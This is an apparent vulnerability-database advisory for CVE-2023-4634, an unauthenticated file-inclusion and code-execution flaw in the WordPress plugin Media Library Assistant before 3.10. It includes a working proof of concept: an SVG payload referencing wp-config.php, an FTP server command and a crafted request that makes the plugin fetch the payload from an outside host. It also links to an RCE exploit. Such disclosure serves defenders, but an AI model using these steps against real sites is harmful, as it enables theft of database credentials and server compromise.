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WpvulndbWPEX-ID:E07091B7-2168-4DA3-8CF3-7669F0DD823D

HistorySep 07, 2023 - 12:00 a.m.

Media Library Assistant < 3.10 - Unauthenticated Local/Remote File Inclusion & Remote Code Execution

2023-09-0700:00:00

wpvulndb

media library

unauthenticated

remote execution

svg

imagemagick

ftp

file inclusion

github

wordpress

cve-2023-4634

AI Score

9.9

Confidence

High

EPSS

0.032

Percentile

91.4%

JSON

Description The plugin is vulnerable to Local File Inclusion and Remote Code Execution in versions up to, and including, 3.09. This is due to insufficient controls on file paths being supplied to the ‘mla_stream_file’ parameter from the ~/includes/mla-stream-image.php file, where images are processed via Imagick(). This makes it possible for unauthenticated attackers to supply files via FTP that will make directory lists, local file inclusion, and remote code execution possible.

LFI:

1. Set up a local FTP server. This may be done using python as follows:

python3 -m pyftpdlib -p 2122

2. Add files `lfi.svg` and `lfi.svg[0]` with the following content:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

3. Ensure that ImageMagick on the server supports the SVG format (`identify -list format | grep -i svg`).

4. Visit `/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://FTP_SERVER:FTP_PORT/lfi.svg&mla_debug=log&mla_stream_height=500&mla_stream_width=600` with correct values of FTP_SERVER and FTP_PORT to view the contents of the `wp-config.php` file.

RCE:

See full details on in the blog post, and the exploit script on Github:

- https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
- https://github.com/Patrowl/CVE-2023-4634/

References

github.com/Patrowl/CVE-2023-4634

patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634

www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/media-library-assistant/media-library-assistant-309-unauthenticated-localremote-file-inclusion-remote-code-execution